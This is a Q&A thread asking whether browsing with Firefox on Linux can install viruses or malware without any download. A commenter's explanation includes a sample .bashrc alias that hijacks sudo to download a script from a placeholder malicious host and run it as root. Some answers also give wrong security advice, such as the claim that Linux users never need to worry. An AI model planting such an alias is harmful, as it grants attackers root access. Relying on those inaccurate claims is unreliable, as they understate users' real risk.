2

When I use Firefox and browse the web, can I get viruses or malware without downloading and installing anything? For example, from bad scripts?

5

The title and body are not the same and has 2 different answers:

  • virus: no.
  • malware: yes.

Malware can get installed as part of extensions. Browsers use a sandbox system to prevent harm to your system. If anything bad happens it is limited to your /home/ section as long as you do not provide your admin password.

Virus tend to be part of installation of malicious software. So you need to download, and install it before you get affected. We, Linux users, generally use secure installation methods like software center and a package system that is checked on viruses.

If you run a web-server you need to also be aware of root kits. Those are far more a problem compared to virus and malware.

In general, a desktop user should not have to worry about this as long as one sticks to a couple of common rules:

  1. keep your password safe.
  2. don't install server software you do not need, and if you do, check the corresponding log files often.
  3. don't install software outside of software center. If you do, make sure it is from a source you can relatively predict it is a good source.
1
  • +1 for "as long as you do not provide your admin password". However, what most people forget is that, for example, .bashrc is in the home folder. If an attacker can insert something like alias sudo=sudo maliciouscode; sudo in .bashrc, then you will execute the malicious code the next time you sudo apt update and you won't even know. – danzel Jun 27 '18 at 23:53
3

The answer is yes. But they tend to end up in FF's cache and stay there without actually infecting your system. They are easily deleted from there - one good reason why you should delete your cache regularly.

2
  • How is Firefox's cache related to this? Why would malicious code end up in the cache and not be able to infect the system? Please explain in more detail. – danzel Jun 27 '18 at 16:27
  • Whenever I've had Trojans (which is on a few occasions) they have always been found in FF's cache. FF's cache has no effect on operating systems as nothing in there is executed by an operating system and such viruses target Windows anyway. – Paul Benson Jun 27 '18 at 16:44
0

I remember that in old days like in xp, it is possible for one to write vb script that triggers unwanted service via activex . But not know. Those all are fixed for good.

It is very very difficult. It is nearly impossible with stable version browser.

If you are using scratch /sid release browser. It is possible that it have security issue.

If you have unsecure browser extension. It is possible.

Mostly, hacker try to install extension or push malware code. They may store tracking cookies.

In Linux you never need to worry about it. It will never support such things .Just dont run browser with root privilege.

Installing extension like ads blocker with malware url block list will also prevent force push of plugin.

Now days chrome or firefox, comes with block list of bad reputed url. Just enable them from settings.

If you doubt just purge and reinstall browser to solve the issue.

Clear cookies and cache weekly to remove tracking cookies.

Never install plugins from 3rd party website.

4
  • 1
    "In Linux you never need to worry about it." That's a dangerous assumption. In fact, it is wrong. No nontrivial software is secure (at least as of today). Also, cache and cookies are more privacy related than security related. "If you doubt just purge and reinstall browser to solve the issue" is also wrong because if your system is compromised, the last thing you want to do is entering your sudo password. – danzel Jun 27 '18 at 16:37
  • Hi @danzel, could you plz explain more. In Linux, where you can except a browser based malware to get stored. I predict only in home/.cache/browser_name and in browser folder or cache or cookie. If no were else Why can't you solve if you run sudo apt purge browser_name? – Aravind Jun 27 '18 at 17:08
  • It will be more appreciable, if you explain and share in more details. – Aravind Jun 27 '18 at 17:19
  • 1
    Browser developers do their best to sandbox everything. However, no software is 100% secure. There have been security holes in the past, and there will be in the future. As I commented on Rinzwind's answer, if a malicious website manages to get outside of the sandbox, it can manipulate every file in your home directory, e.g. .bashrc. Suppose it appends the following line: alias sudo="wget -q http://malicioussite/script.sh; sudo bash script.sh; sudo". Running sudo apt purge and entering your pw will download and execute the attacker's script with sudo privileges without you even noticing. – danzel Jun 28 '18 at 16:18

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.